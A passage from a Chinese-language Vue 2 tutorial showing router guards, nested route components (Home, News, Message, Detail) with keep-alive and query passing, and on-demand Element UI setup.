// 路由的全局前置
if(to.meta.isAuth){ // 判断是否鉴权
if(localStorage.getItem('school') === 'atguigu'){
next();
}else{
alert('学校名不符合要求,无权限查看');
}
}else{
next();
}
})
// 全局后置路由守卫--初始化的时候被调用、每次路由切换之后被调用
router.afterEach((to,from)=>{
console.log('后置路由守卫',to,from);
document.title = to.meta.title || '路由案例';
})
export default router
②views>About.vue
<template>
<div>
<h2>About组件内容</h2>
</div>
</template>
<script>
export default {
// 通过路由规则,进入该组件时被调用
// beforeRouteEnter(to, from, next) {
// console.log('About--beforeRouteEnter',to,from);
// if (to.meta.isAuth) { // 判断是否鉴权
// if (localStorage.getItem("school") === "atguigu") {
// next();
// } else {
// alert("学校名不符合要求,无权限查看");
// }
// } else {
// next();
// }
// },
// 通过路由规则,离开该组件时被调用
// beforeRouteLeave(to, from, next) {
// console.log('About--beforeRouteLeave',to,from);
// next();
// }
};
</script>
③views>Home.vue
<template>
<div>
<h2>Home组件内容</h2>
<div>
<ul class="nav nav-tabs">
<li>
<router-link class="list-group-item" active-class="active" to="/home/news">News</router-link>
</li>
<li>
<router-link class="list-group-item" active-class="active" to="/home/message">Message</router-link>
</li>
</ul>
<!-- keep-alive 用组件名缓存 -->
<keep-alive include="News">
<router-view></router-view>
</keep-alive>
</div>
</div>
</template>
<script>
export default {
name: "Home",
};
</script>
④Home.vue>News.vue
<template>
<div>
<ul>
<li>
news001<input type="text" />
</li>
<li>
news002<input type="text" />
</li>
<li>
news003<input type="text" />
</li>
</ul>
<router-view></router-view>
</div>
</template>
<script>
export default {
name: "News",
beforeDestroy() {
console.log("News组件即将被销毁了");
}
};
</script>
⑤Home.vue>Message.vue
<template>
<div>
<ul>
<li v-for="item in messageList" :key="item.id">
<!-- 跳转路由并 query、params 传参,to对象-->
<router-link :to="{
name:'Detail',
query:{
id:item.id,
title:item.title
}
}">
{{item.title}}
</router-link>
<button @click="pushShow(item)">push查看</button>
<button @click="replaceShow(item)">replace查看</button>
</li>
</ul>
<router-view></router-view>
</div>
</template>
<script>
export default {
name:'Message',
data() {
return {
messageList:[
{id:'001',title:'消息001'},
{id:'002',title:'消息002'},
{id:'003',title:'消息003'},
]
}
},
methods:{
pushShow(m){
this.$router.push({
name:'Detail',
query:{
id: m.id,
title: m.title
}
})
},
replaceShow(m){
this.$router.replace({
name:'Detail',
query:{
id: m.id,
title: m.title
}
})
}
},
beforeDestroy(){
console.log('Message组件即将被销毁了');
}
}
</script>
⑥Message.vue>Detail.vue
<template>
<ul>
<li>消息编号:{{id}}</li>
<li>消息标题:{{title}}</li>
</ul>
</template>
<script>
export default {
name: 'Detail',
props: ['id','title'],
}
</script>
16. UI
① 移动端常用 UI 组件库
-
Vant https://youzan.github.io/vant
-
Cube UI https://didi.github.io/cube-ui
-
Mint UI http://mint-ui.github.io
②PC 端常用 UI 组件库
- Element UI https://element.eleme.cn
- IView UI https://www.iviewui.com
- ant d of vue
③Ui应用-App.vue
<template>
<div id="app">
<button>原始按钮</button>
<input type="text">
<el-row>
<el-button>默认按钮</el-button>
<el-button type="primary">主要按钮</el-button>
<el-button type="success">成功按钮</el-button>
<el-button type="info">信息按钮</el-button>
<el-button type="warning">警告按钮</el-button>
<el-button type="danger">危险按钮</el-button>
</el-row>
<div class="block">
<span class="demonstration">默认</span>
<el-date-picker
type="date"
placeholder="选择日期">
</el-date-picker>
</div>
<!-- <div class="row">
<Banner />
</div>
<div class="row">
<div class="col-xs-2 col-xs-offset-2">
<div class="list-group"> -->
<!-- Vue中借助router-link标签实现路由的切换 -->
<!-- <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
<router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
</div>
</div>
<div class="col-xs-6">
<div class="panel">
<div class="panel-body"> -->
<!-- 指定组件的呈现位置 -->
<!-- <router-view></router-view>
</div>
</div>
</div>
</div> -->
</div>
</template>
<script>
// import Banner from "./components/Banner";
export default {
name: "App",
components: {
// Banner
}
};
</script>
④Ui配置-main.js
// 引入Vue
import Vue from 'vue'
// 引入App
import App from './App.vue'
// 引入ElementUI 组件库
// import ElementUI from 'element-ui';
// 引入ElementUI 全部样式
// import 'element-ui/lib/theme-chalk/index.css';
// 按需引入ElementUI
import { Button, Row, DatePicker } from 'element-ui';
import router from './router'
// import store from './store'
// 关闭Vue的生产提示
Vue.config.productionTip = false
Vue.use(Button);
Vue.use(Row);
Vue.use(DatePicker);
// Vue.use(ElementUI);
new Vue({
el: '#app',
render: h => h(App),
router,
})